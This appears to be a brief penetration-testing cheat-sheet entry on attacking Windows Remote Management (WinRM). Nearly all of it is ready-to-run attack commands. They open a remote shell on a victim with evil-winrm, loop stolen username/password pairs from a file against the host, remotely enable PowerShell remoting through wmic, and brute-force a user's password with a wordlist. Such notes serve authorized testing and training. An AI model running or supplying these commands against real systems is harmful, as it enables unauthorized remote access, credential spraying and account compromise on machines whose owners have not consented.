Win­dows Remote Man­age­ment (Win­RM / wsman) is a ser­vice which runs on port 5985 and 5986.

Evil Winrm

Github | Opens a shell for a user

root@kali:~# evil-winrm -i $victim -u melanie -p 'Welcome123!'

For many users:

for cred in $(cat user_pass.txt); do
 username=$(echo $cred | cut -d ',' -f 1)
 password=$(echo $cred | cut -d ',' -f 2)
 echo "$username / $password"
 evil-winrm -i $victim -u $username -p '$password'
done;

Com­mands:

• upload local remote
• down­load remote local
• ser­vices
• menu

Activate from a shell

From a shell, Win­RM can be activated:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Brute force

Win­RM brute can brute force WinRM.

bundle exec ./winrm-brute.rb -u nathen -P /root/p141.general.1/0270-worker/enum/cewl-words-from-cartoon-site.txt $victim